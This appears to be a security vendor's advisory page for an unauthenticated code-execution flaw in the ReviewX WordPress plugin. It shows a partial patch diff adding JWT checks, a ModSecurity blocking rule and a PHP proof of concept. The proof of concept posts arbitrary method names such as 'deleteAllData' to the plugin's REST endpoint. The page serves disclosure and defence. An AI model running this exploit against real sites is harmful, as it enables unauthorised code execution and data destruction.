         $response = $this->dataSyncService->syncStatus();
         if (!empty($response->getApiData()['sync_stats']) && $response->getApiData()['sync_stats'] === 1) {
             // Update all DB settings from API to WP DB
@@ -74,7 +76,7 @@
             return Helper::rvxApi(['error' => $e->getMessage()])->fails('General settings saved failed', $e->getCode());
         }
     }
-    public function syncedData(WP_REST_Request $request)
+    public function syncedData(WP_REST_Request $request)
     {
         $post_type = $request->get_param('post_type') ?? 'product';
         // Sanitize just in case:
--- a/reviewx/app/Rest/Controllers/PingController.php
+++ b/reviewx/app/Rest/Controllers/PingController.php
@@ -3,6 +3,7 @@
 namespace RvxRestControllers;

 use Exception;
+use WP_REST_Response;
 use RvxServicesPingService;
 use RvxUtilitiesHelper;
 class PingController
@@ -13,14 +14,14 @@
         $this->pingService = new PingService();
     }
     /**
-     * Ping from sass and (cached for 7 days) return site info.
+     * Ping from sass and (cached for 2 hours) return site info.
      *
-     * @return WP_REST_Response
+     * @return WP_REST_Response
      */
-    public function ping() : WP_REST_Response
+    public function ping() : WP_REST_Response
     {
-        // Cache time-to-live: 7 days
-        $cache_duration = 86400 * 7;
+        // Cache time-to-live: 2 hours
+        $cache_duration = 3600 * 2;
         try {
             // Try to get cache
             $data = get_transient('rvx_ping_cache');
--- a/reviewx/app/Rest/Controllers/ReviewController.php
+++ b/reviewx/app/Rest/Controllers/ReviewController.php
@@ -29,7 +29,7 @@
      */
     public function index($request)
     {
-        $aggregation = get_transient('reviewx_aggregation');
+        $aggregation = get_transient('rvx_admin_aggregation');
         if (empty($request->get_params()) && $aggregation) {
             $response = ['aggregations' => $aggregation['aggregations'], 'count' => $aggregation['count'], 'reviews' => $aggregation['reviews'], 'meta' => $aggregation['meta']];
             return Helper::rest($response)->success("Success");
@@ -43,8 +43,8 @@
     }
     public function aggregationDataStore($data)
     {
-        delete_transient('reviewx_aggregation');
-        set_transient('reviewx_aggregation', $data, 86400);
+        delete_transient('rvx_admin_aggregation');
+        set_transient('rvx_admin_aggregation', $data, 3600);
     }
     public function adminAllReviewSaasCall($data)
     {
@@ -61,7 +61,7 @@
             $differentReview = $this->cacheServices->makeSaaSCallDecision();
             $this->visibilityPaginationSaasCall($request, $differentReview);
             $isVisible = $request->get_params()['isVisible'] ?? '';
-            $transientKeys = ['published' => 'review_approve_data', 'pending' => 'review_pending_data', 'spam' => 'review_spam_data', 'trash' => 'review_trash_data'];
+            $transientKeys = ['published' => 'rvx_review_approve_data', 'pending' => 'rvx_review_pending_data', 'spam' => 'rvx_review_spam_data', 'trash' => 'rvx_review_trash_data'];
             if (array_key_exists($isVisible, $transientKeys)) {
                 $approve = get_transient($transientKeys[$isVisible]);
                 $params = $request->get_params();
@@ -77,7 +77,7 @@
                 }
             }
             if (empty($request->get_params())) {
-                $data = get_transient('reviews_data_list');
+                $data = get_transient('rvx_reviews_data_list');
                 if ($data) {
                     $response = ['count' => $data['count'], 'reviews' => $data['reviews'], 'meta' => $data['meta']];
                     return Helper::rest($response)->success("Success");
@@ -104,26 +104,26 @@
     }
     public function reviewListStoreInDB($reviewData)
     {
-        delete_transient('reviews_data_list');
-        set_transient('reviews_data_list', $reviewData, 86400);
+        delete_transient('rvx_reviews_data_list');
+        set_transient('rvx_reviews_data_list', $reviewData, 3600);
     }
     public function storeVisibilityReview($data, $visibility)
     {
         if ($visibility === 'published') {
-            delete_transient('review_approve_data');
-            set_transient('review_approve_data', $data, 86400);
+            delete_transient('rvx_review_approve_data');
+            set_transient('rvx_review_approve_data', $data, 3600);
         }
         if ($visibility === 'pending') {
-            delete_transient('review_pending_data');
-            set_transient('review_pending_data', $data, 86400);
+            delete_transient('rvx_review_pending_data');
+            set_transient('rvx_review_pending_data', $data, 3600);
         }
         if ($visibility === 'spam') {
-            delete_transient('review_spam_data');
-            set_transient('review_spam_data', $data, 86400);
+            delete_transient('rvx_review_spam_data');
+            set_transient('rvx_review_spam_data', $data, 3600);
         }
         if ($visibility === 'trash') {
-            delete_transient('review_trash_data');
-            set_transient('review_trash_data', $data, 86400);
+            delete_transient('rvx_review_trash_data');
+            set_transient('rvx_review_trash_data', $data, 3600);
         }
     }
     /**
--- a/reviewx/app/Rest/Controllers/SettingController.php
+++ b/reviewx/app/Rest/Controllers/SettingController.php
@@ -148,13 +148,22 @@
             return Helper::rvxApi(['error' => $e->getMessage()])->fails('General settings saved failed', $e->getCode());
         }
     }
-    public function removeCredentials()
+    public function removeCredentials($request)
     {
         try {
-            $response = $this->settingService->removeCredentials();
+            $response = $this->settingService->removeCredentials($request->get_headers());
             return $response;
         } catch (Throwable $e) {
-            return Helper::rvxApi(['error' => $e->getMessage()])->fails('General settings saved failed', $e->getCode());
+            return Helper::rvxApi(['error' => $e->getMessage()])->fails('Sites Table Data deletion failed', $e->getCode());
+        }
+    }
+    public function updateSiteData($request)
+    {
+        try {
+            $response = $this->settingService->updateSiteData($request->get_headers());
+            return $response;
+        } catch (Throwable $e) {
+            return Helper::rvxApi(['error' => $e->getMessage()])->fails('Sites Table Data update failed', $e->getCode());
         }
     }
 }
--- a/reviewx/app/Rest/Controllers/StoreFrontReviewController.php
+++ b/reviewx/app/Rest/Controllers/StoreFrontReviewController.php
@@ -358,9 +358,9 @@
         try {
             $defferentIds = $this->cacheService->clearShortcodesCache(get_option('_rvx_reviews_ids'), $request->get_params());
             if ($defferentIds == false) {
-                delete_transient('_rvx_shortcode_transient');
+                delete_transient('rvx_shortcode_transient');
             }
-            $transient_key = '_rvx_shortcode_transient';
+            $transient_key = 'rvx_shortcode_transient';
             $resp = get_transient($transient_key);
             if ($resp !== false) {
                 $data = ['reviews' => $resp['reviews'], 'meta' => $resp['meta']];
--- a/reviewx/app/Rest/Middleware/AuthMiddleware.php
+++ b/reviewx/app/Rest/Middleware/AuthMiddleware.php
@@ -2,8 +2,12 @@

 namespace RvxRestMiddleware;

+use Exception;
 use WP_REST_Request;
 use RvxUtilitiesAuthWpUser;
+use RvxUtilitiesAuthClient;
+use RvxFirebaseJWTJWT;
+use RvxFirebaseJWTKey;
 class AuthMiddleware
 {
     /**
@@ -11,15 +15,43 @@
      *
      * Authorization is granted if:
      * User is logged in AND has sufficient capabilities.
+     * Or if user has a valid JWT Bearer token
      *
      * @param WP_REST_Request $request
      * @return bool
      */
     public function handle(WP_REST_Request $request) : bool
     {
-        if (!WpUser::isLoggedIn()) {
+        // Validate by WP User
+        if (WpUser::isLoggedIn() && WpUser::can()) {
+            // error_log('AuthMiddleware: Loggedin PASS');
+            return true;
+        }
+        // error_log('AuthMiddleware: User is not logged in or does not have sufficient capabilities.');
+        // Validate by Bearer Token
+        $clientUid = Client::getUid();
+        $secret = Client::getSecret();
+        if (empty($clientUid) || empty($secret)) {
+            // error_log('AuthMiddleware: Missing client UID or secret.');
+            return false;
+        }
+        $headers = $request->get_headers();
+        $authHeader = isset($headers['authorization'][0]) ? trim($headers['authorization'][0]) : '';
+        if (!$authHeader || !preg_match('/Bearer\s+(.*)$/i', $authHeader, $matches)) {
+            // error_log('AuthMiddleware: Missing or invalid Bearer header');
+            return false;
+        }
+        $token = $matches[1];
+        try {
+            $decoded = JWT::decode($token, new Key($secret, 'HS256'));
+            // Check UID binding
+            if (empty($decoded->uid) || $decoded->uid !== $clientUid) {
+                return false;
+            }
+            return true;
+        } catch (Exception $e) {
+            // error_log('AuthMiddleware: Invalid token - ' . $e->getMessage());
             return false;
         }
-        return WpUser::can();
     }
 }
--- a/reviewx/app/Rest/Middleware/AuthSaasMiddleware.php
+++ b/reviewx/app/Rest/Middleware/AuthSaasMiddleware.php
@@ -2,13 +2,42 @@

 namespace RvxRestMiddleware;

+use Exception;
 use WP_REST_Request;
 use RvxUtilitiesAuthClient;
+use RvxFirebaseJWTJWT;
+use RvxFirebaseJWTKey;
 class AuthSaasMiddleware
 {
+    /**
+     * Handle incoming SaaS-authenticated requests
+     */
     public function handle(WP_REST_Request $request) : bool
     {
-        // ReviewX Used ID check
-        return Client::getUid() ? true : false;
+        $clientUid = Client::getUid();
+        $secret = Client::getSecret();
+        if (empty($clientUid) || empty($secret)) {
+            // error_log('AuthSaasMiddleware: Missing client UID or secret.');
+            return false;
+        }
+        $headers = $request->get_headers();
+        $authHeader = isset($headers['authorization'][0]) ? trim($headers['authorization'][0]) : '';
+        if (!$authHeader || !preg_match('/Bearer\s+(.*)$/i', $authHeader, $matches)) {
+            // error_log('AuthSaasMiddleware: Missing or invalid Bearer header');
+            return false;
+        }
+        $token = $matches[1];
+        try {
+            $decoded = JWT::decode($token, new Key($secret, 'HS256'));
+            // Check UID binding
+            if (empty($decoded->uid) || $decoded->uid !== $clientUid) {
+                return false;
+            }
+            // error_log('AuthSaasMiddleware: Token PASS');
+            return true;
+        } catch (Exception $e) {
+            // error_log('AuthSaasMiddleware: Invalid token - ' . $e->getMessage());
+            return false;
+        }
     }
 }
--- a/reviewx/app/Services/CacheServices.php
+++ b/reviewx/app/Services/CacheServices.php
@@ -19,7 +19,7 @@
     }
     public function saasStatusReviewCount()
     {
-        $data = get_transient('reviews_data_list');
+        $data = get_transient('rvx_reviews_data_list');
         if (is_array($data)) {
             return $data['count'];
         }
@@ -41,14 +41,14 @@
     }
     public function removeCache()
     {
-        delete_transient('reviews_data_list');
-        delete_transient('review_approve_data');
-        delete_transient('review_pending_data');
-        delete_transient('review_spam_data');
-        delete_transient('review_trash_data');
-        delete_transient('reviewx_aggregation');
-        delete_transient('review_shortcode');
-        delete_transient('_rvx_shortcode_transient');
+        delete_transient('rvx_reviews_data_list');
+        delete_transient('rvx_review_approve_data');
+        delete_transient('rvx_review_pending_data');
+        delete_transient('rvx_review_spam_data');
+        delete_transient('rvx_review_trash_data');
+        delete_transient('rvx_admin_aggregation');
+        delete_transient('rvx_review_shortcode');
+        delete_transient('rvx_shortcode_transient');
         delete_transient('rvx_shortcode_all_reviews');
     }
     public function clearShortcodesCache($arrayFirst, $arraySecond)
--- a/reviewx/app/Services/DashboardServices.php
+++ b/reviewx/app/Services/DashboardServices.php
@@ -13,6 +13,17 @@
     {
         return (new DashboardApi())->requestEmail();
     }
+    public function requestUserData()
+    {
+        global $wpdb;
+        $table_name = $wpdb->prefix . 'rvx_sites';
+        $site_data = $wpdb->get_row("SELECT * FROM {$table_name} WHERE id = 1");
+        // error_log('Site Data: ' . print_r($site_data, true));
+        if (!$site_data) {
+            return ['success' => false, 'message' => 'No site data found', 'data' => null];
+        }
+        return ['success' => true, 'message' => 'Site user data fetched successfully', 'site_id' => $site_data->site_id, 'user_name' => $site_data->name, 'user_email' => $site_data->email, 'site_domain' => $site_data->domain, 'is_saas_synced' => $site_data->is_saas_sync];
+    }
     public function chart($request)
     {
         $time = $request['view'];
--- a/reviewx/app/Services/DataSyncService.php
+++ b/reviewx/app/Services/DataSyncService.php
@@ -12,13 +12,13 @@
 use RvxServicesUserSyncService;
 use RvxServicesProductSyncService;
 use RvxServicesReviewSyncService;
-use RvxServicesCategorySyncService;
+// use RvxServicesCategorySyncService;
 use RvxUtilitiesHelper;
 class DataSyncService extends Service
 {
     protected DataSyncHandler $dataSyncHandler;
     protected UserSyncService $userSyncService;
-    protected CategorySyncService $categorySyncService;
+    // protected CategorySyncService $categorySyncService;
     protected ProductSyncService $productSyncService;
     protected ReviewSyncService $reviewSyncService;
     protected OrderService $orderService;
@@ -27,7 +27,7 @@
     {
         $this->dataSyncHandler = new DataSyncHandler();
         $this->userSyncService = new UserSyncService();
-        $this->categorySyncService = new CategorySyncService();
+        // $this->categorySyncService = new CategorySyncService();
         $this->productSyncService = new ProductSyncService();
         $this->reviewSyncService = new ReviewSyncService();
         $this->orderService = new OrderService();
@@ -56,8 +56,8 @@
                 // Product Sync Data for *Login or Register*
                 $total_objects += $this->userSyncService->syncUser($file);
                 if (class_exists('WooCommerce') || $this->dataSyncHandler->wc_data_exists_in_db()) {
-                    $syncedCaterories = new CategorySyncService();
-                    $total_objects += $syncedCaterories->syncCategory($file);
+                    // $syncedCaterories = new CategorySyncService();
+                    // $total_objects += $syncedCaterories->syncCategory($file);
                     $total_objects += $this->productSyncService->processProductForSync($file, $post_type);
                     $total_objects += $this->reviewSyncService->processReviewForSync($file, $post_type);
                     $total_objects += $this->orderItemSyncService->syncOrder($file);
@@ -107,17 +107,17 @@
         }
         if ("categories" === $data['action']) {
             if (class_exists('WooCommerce') || $this->dataSyncHandler->wc_data_exists_in_db()) {
-                $syncedCaterories = new CategorySyncService();
-                $totalLines += $syncedCaterories->syncCategory($file);
-                $processProduct = new ProductSyncService($syncedCaterories);
-                $totalLines += $processProduct->processProductForSync($file);
+                // $syncedCaterories = new CategorySyncService();
+                // $totalLines += $syncedCaterories->syncCategory($file);
+                $processProduct = new ProductSyncService();
+                $totalLines += $processProduct->processProductForSync($file, 'product');
                 update_option('rvx_sync_number', $totalLines);
             }
         }
         if ("reviews" === $data['action']) {
             if (class_exists('WooCommerce') || $this->dataSyncHandler->wc_data_exists_in_db()) {
                 $totalLines = get_option('rvx_sync_number');
-                $totalLines += (new ReviewSyncService())->processReviewForSync($file);
+                $totalLines += (new ReviewSyncService())->processReviewForSync($file, 'product');
                 update_option('rvx_sync_number', $totalLines);
             }
         }
--- a/reviewx/app/Services/ProductSyncService.php
+++ b/reviewx/app/Services/ProductSyncService.php
@@ -11,6 +11,8 @@
     protected $postMetaPriceRelation;
     protected $productCount = 0;
     protected $postMetaAverageRatingRelation;
+    protected $postMetaRatingCountPercentageRelation;
+    protected $postMetaReviewsCountRelation;
     protected $postMetaSalePriceRelation;
     protected $postMetaThumbnaiRelation;
     protected $postMetaAttachmentsRelation;
@@ -25,29 +27,41 @@
     }
     public function processProductForSync($file, $post_type) : int
     {
-        $this->syncProductsMeta();
+        $this->syncProductsMeta($post_type);
         return $this->syncProducts($file, $post_type);
     }
     public function getProductAttachementRalation()
     {
         return $this->postAttachmentRelation;
     }
-    public function syncProductsMeta()
+    public function syncProductsMeta($post_type)
     {
+        // Base meta keys
+        $dbTableKeys = ['rvx_avg_rating', 'rating', '_thumbnail_id'];
+        // Add product-specific keys
+        if ($post_type === 'product') {
+            $dbTableKeys = array_merge($dbTableKeys, ['_price', '_sale_price', '_wc_review_count', '_wc_average_rating', '_wc_rating_count']);
+        }
+        // Define relation targets by meta key
+        $relationMap = ['_price' => 'postMetaPriceRelation', '_sale_price' => 'postMetaSalePriceRelation', '_wc_review_count' => 'postMetaReviewsCountRelation', '_wc_rating_count' => 'postMetaRatingCountPercentageRelation', '_thumbnail_id' => 'postMetaThumbnaiRelation'];
         try {
-            DB::table('postmeta')->whereIn('meta_key', ['_price', '_sale_price', '_wc_average_rating', '_thumbnail_id'])->chunk(100, function ($allPostMeta) {
-                foreach ($allPostMeta as $postMetas) {
-                    if ($postMetas->meta_key === '_price') {
-                        $this->postMetaPriceRelation[$postMetas->post_id] = $postMetas->meta_value;
-                    }
-                    if ($postMetas->meta_key === '_sale_price') {
-                        $this->postMetaSalePriceRelation[$postMetas->post_id] = $postMetas->meta_value;
-                    }
-                    if ($postMetas->meta_key === '_wc_average_rating') {
-                        $this->postMetaAverageRatingRelation[$postMetas->post_id] = $postMetas->meta_value;
+            DB::table('postmeta')->whereIn('meta_key', $dbTableKeys)->chunk(100, function ($allPostMeta) use($relationMap) {
+                foreach ($allPostMeta as $meta) {
+                    $key = $meta->meta_key;
+                    $pid = $meta->post_id;
+                    $value = $meta->meta_value;
+                    // Direct assignment using map
+                    if (isset($relationMap[$key])) {
+                        $this->{$relationMap[$key]}[$pid] = $value;
+                        continue;
                     }
-                    if ($postMetas->meta_key === '_thumbnail_id') {
-                        $this->postMetaThumbnaiRelation[$postMetas->post_id] = $postMetas->meta_value;
+                    // --- Rating Prioritization Logic ---
+                    // Priority: _wc_average_rating > rvx_avg_rating > rating
+                    if ($key === '_wc_average_rating' || $key === 'rvx_avg_rating' || $key === 'rating') {
+                        // Assign only if not already assigned by a higher-priority field
+                        if (!isset($this->postMetaAverageRatingRelation[$pid])) {
+                            $this->postMetaAverageRatingRelation[$pid] = $value;
+                        }
                     }
                 }
             });
@@ -60,10 +74,13 @@
         $productCount = 0;
         $attachmentRelation = [];
         $this->postMetaAttachmentsRelation = [];
-        DB::table('posts')->select(['ID', 'post_type', 'post_title', 'post_name', 'post_excerpt', 'post_status', 'guid', 'post_modified'])->orderBy('ID')->whereIn('post_type', [$post_type])->chunk(100, function ($products) use(&$attachmentRelation, &$file, &$productCount) {
+        DB::table('posts')->select(['ID', 'post_type', 'post_title', 'post_name', 'post_excerpt', 'post_status', 'guid', 'post_modified', 'comment_count'])->orderBy('ID')->whereIn('post_type', [$post_type])->chunk(100, function ($products) use(&$attachmentRelation, &$file, &$productCount) {
             foreach ($products as $product) {
                 $this->productids[] = $product->ID;
                 $productImage = get_the_post_thumbnail_url($product->ID, 'full') ? get_the_post_thumbnail_url($product->ID, 'full') : null;
+                if ($product->post_type !== 'product') {
+                    $this->postMetaReviewsCountRelation[$product->ID] = $product->comment_count;
+                }
                 $formatedProduct = $this->processProduct($product, $productImage);
                 if ($formatedProduct['post_type'] !== 'attachment') {
                     Helper::appendToJsonl($file, $formatedProduct);
@@ -81,7 +98,53 @@
     }
     public function processProduct($product, $productImage) : array
     {
-        return ['rid' => 'rid://Product/' . (int) $product->ID, "post_type" => $product->post_type ?? null, "wp_id" => (int) ($product->ID ?? 0), "title" => isset($product->post_title) ? htmlspecialchars($product->post_title, ENT_QUOTES, 'UTF-8') : null, "url" => $product->guid ?? '', "description" => $product->post_excerpt ?? null, "price" => isset($this->postMetaPriceRelation[$product->ID]) ? Helper::formatToTwoDecimalPlaces($this->postMetaPriceRelation[$product->ID]) : 0, "discounted_price" => isset($this->postMetaSalePriceRelation[$product->ID]) ? Helper::formatToTwoDecimalPlaces($this->postMetaSalePriceRelation[$product->ID]) : 0, "slug" => $product->post_name ?? '', "status" => $this->productStatus($product->post_status ?? ''), "total_reviews" => 0, "avg_rating" => isset($this->postMetaAverageRatingRelation[$product->ID]) ? Helper::formatToTwoDecimalPlaces($this->postMetaAverageRatingRelation[$product->ID]) : 0, "stars" => ["one" => 0, "two" => 0, "three" => 0, "four" => 0, "five" => 0], "one_stars" => 0, "two_stars" => 0, "three_stars" => 0, "four_stars" => 0, "five_stars" => 0, "modified_date" => Helper::validateReturnDate($product->post_modified) ?? null, "image" => $productImage, "category_ids" => isset($this->postTermRelation[(int) $product->ID]) && is_array($this->postTermRelation[(int) $product->ID]) ? array_map('intval', $this->postTermRelation[(int) $product->ID]) : []];
+        $reviewsCount = isset($this->postMetaReviewsCountRelation[$product->ID]) ? (int) $this->postMetaReviewsCountRelation[$product->ID] : 0;
+        $ratingCount = $this->postMetaRatingCountPercentageRelation[$product->ID] ?? [];
+        // Ensure WooCommerce serialized rating count is converted to array
+        if (is_string($ratingCount)) {
+            $decoded = @unserialize($ratingCount);
+            $ratingCount = is_array($decoded) ? $decoded : [];
+        }
+        $ratingCounts = $this->ratingCountsConverter($ratingCount);
+        return ['rid' => 'rid://Product/' . (int) $product->ID, "post_type" => $product->post_type ?? null, "wp_id" => (int) ($product->ID ?? 0), "title" => isset($product->post_title) ? htmlspecialchars($product->post_title, ENT_QUOTES, 'UTF-8') : null, "url" => $product->guid ?? '', "description" => $product->post_excerpt ?? null, "price" => isset($this->postMetaPriceRelation[$product->ID]) ? Helper::formatToTwoDecimalPlaces($this->postMetaPriceRelation[$product->ID]) : 0, "discounted_price" => isset($this->postMetaSalePriceRelation[$product->ID]) ? Helper::formatToTwoDecimalPlaces($this->postMetaSalePriceRelation[$product->ID]) : 0, "slug" => $product->post_name ?? '', "status" => $this->productStatus($product->post_status ?? ''), "total_reviews" => $reviewsCount, "avg_rating" => isset($this->postMetaAverageRatingRelation[$product->ID]) ? Helper::formatToTwoDecimalPlaces($this->postMetaAverageRatingRelation[$product->ID]) : 0, "stars" => ["one" => $ratingCounts["one"], "two" => $ratingCounts["two"], "three" => $ratingCounts["three"], "four" => $ratingCounts["four"], "five" => $ratingCounts["five"]], "one_stars" => $ratingCounts["one"], "two_stars" => $ratingCounts["two"], "three_stars" => $ratingCounts["three"], "four_stars" => $ratingCounts["four"], "five_stars" => $ratingCounts["five"], "modified_date" => Helper::validateReturnDate($product->post_modified) ?? null, "image" => $productImage, "category_ids" => isset($this->postTermRelation[(int) $product->ID]) && is_array($this->postTermRelation[(int) $product->ID]) ? array_map('intval', $this->postTermRelation[(int) $product->ID]) : []];
+    }
+    private function ratingCountsConverter(array $ratingCount) : array
+    {
+        // Final output initialized to 0
+        $stars = ["one" => 0, "two" => 0, "three" => 0, "four" => 0, "five" => 0];
+        // Empty OR invalid input → return default immediately
+        if (empty($ratingCount)) {
+            return $stars;
+        }
+        foreach ($ratingCount as $rawKey => $value) {
+            // Convert numeric strings
+            $value = is_numeric($value) ? (float) $value : 0;
+            // Convert key to float (handles "3.5", 5, "4", etc.)
+            $key = is_numeric($rawKey) ? (float) $rawKey : null;
+            if ($key === null) {
+                continue;
+            }
+            // Round decimals down (3.5 => 3)
+            $bucket = (int) floor($key);
+            switch ($bucket) {
+                case 1:
+                    $stars["one"] += $value;
+                    break;
+                case 2:
+                    $stars["two"] += $value;
+                    break;
+                case 3:
+                    $stars["three"] += $value;
+                    break;
+                case 4:
+                    $stars["four"] += $value;
+                    break;
+                case 5:
+                    $stars["five"] += $value;
+                    break;
+            }
+        }
+        return $stars;
     }
     publi

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2025-10679
SecRule REQUEST_URI "@rx ^/wp-json/reviewx/v1/bulk-ten-reviews" 
  "id:100010679,phase:2,deny,status:403,chain,msg:'CVE-2025-10679 - Unauthenticated RCE in ReviewX Plugin via REST API',severity:'CRITICAL',tag:'CVE-2025-10679',tag:'WordPress',tag:'ReviewX',tag:'RCE'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule REQUEST_HEADERS:Content-Type "@contains application/json" "chain"
      SecRule REQUEST_BODY "@rx "method"s*:s*"(?!getTenReviews|getTenReviewsByCriteria|getTenReviewsByRating|getTenReviewsByDate|getTenReviewsBySearch|getTenReviewsByFilter|getTenReviewsByProduct|getTenReviewsByCategory|getTenReviewsByTag|getTenReviewsByAuthor|getTenReviewsByStatus|getTenReviewsByType|getTenReviewsBySource|getTenReviewsByVerified|getTenReviewsByFeatured|getTenReviewsByHelpful|getTenReviewsByReplied|getTenReviewsByReported|getTenReviewsByDeleted|getTenReviewsByPending|getTenReviewsByApproved|getTenReviewsBySpam|getTenReviewsByTrash|getTenReviewsByAll)[^"]+"" 
        "t:none,t:urlDecodeUni,t:lowercase,setvar:'tx.cve_2025_10679_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-10679 - ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More <= 2.2.12 - Unauthenticated Limited Remote Code Execution

<?php
/**
 * Proof of Concept for CVE-2025-10679
 * Unauthenticated Remote Code Execution in ReviewX WordPress Plugin
 *
 * This script demonstrates the vulnerability by sending a malicious request
 * to the vulnerable REST API endpoint to call arbitrary PHP methods.
 */

// Configuration - Set your target WordPress site URL
$target_url = 'https://vulnerable-site.com';

// The vulnerable REST API endpoint
$endpoint = '/wp-json/reviewx/v1/bulk-ten-reviews';

// Method to attempt to call (adjust based on available methods in the target)
$method_to_call = '__destruct'; // Example: Try to trigger destructor
// Alternative methods to try:
// $method_to_call = '__wakeup';
// $method_to_call = 'getAllReviews';
// $method_to_call = 'deleteAllData';

// Prepare the malicious payload
$payload = json_encode([
    'method' => $method_to_call,
    // Additional parameters may be required depending on the method
    'data' => []
]);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . $endpoint,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $payload,
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'Content-Length: ' . strlen($payload)
    ],
    CURLOPT_SSL_VERIFYPEER => false, // Disable for testing only
    CURLOPT_SSL_VERIFYHOST => false, // Disable for testing only
    CURLOPT_TIMEOUT => 30,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_MAXREDIRS => 5
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);

// Close cURL session
curl_close($ch);

// Display results
echo "Atomic Edge CVE-2025-10679 Proof of Conceptn";
echo "============================================nn";

if ($error) {
    echo "cURL Error: $errorn";
} else {
    echo "Target: $target_urln";
    echo "Endpoint: $endpointn";
    echo "HTTP Status Code: $http_coden";
    echo "Method Attempted: $method_to_callnn";
    echo "Response:n";
    echo "----------n";
    echo $response . "n";
    echo "----------nn";
    
    // Analyze response
    if ($http_code == 200) {
        echo "[+] SUCCESS: Request was accepted by the server.n";
        echo "    The method '$method_to_call' may have been executed.n";
    } elseif ($http_code == 403 || $http_code == 401) {
        echo "[-] ACCESS DENIED: Server returned authentication/authorization error.n";
        echo "    The site may be patched or have additional security measures.n";
    } elseif ($http_code == 404) {
        echo "[-] NOT FOUND: Endpoint not available.n";
        echo "    The plugin may not be installed or activated.n";
    } else {
        echo "[?] UNEXPECTED RESPONSE: Server returned HTTP $http_coden";
        echo "    Further investigation needed.n";
    }
}

// Warning message
echo "nnWARNING: This script is for educational and authorized testing purposes only.n";
echo "Unauthorized use against systems you do not own or have permission to test is illegal.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School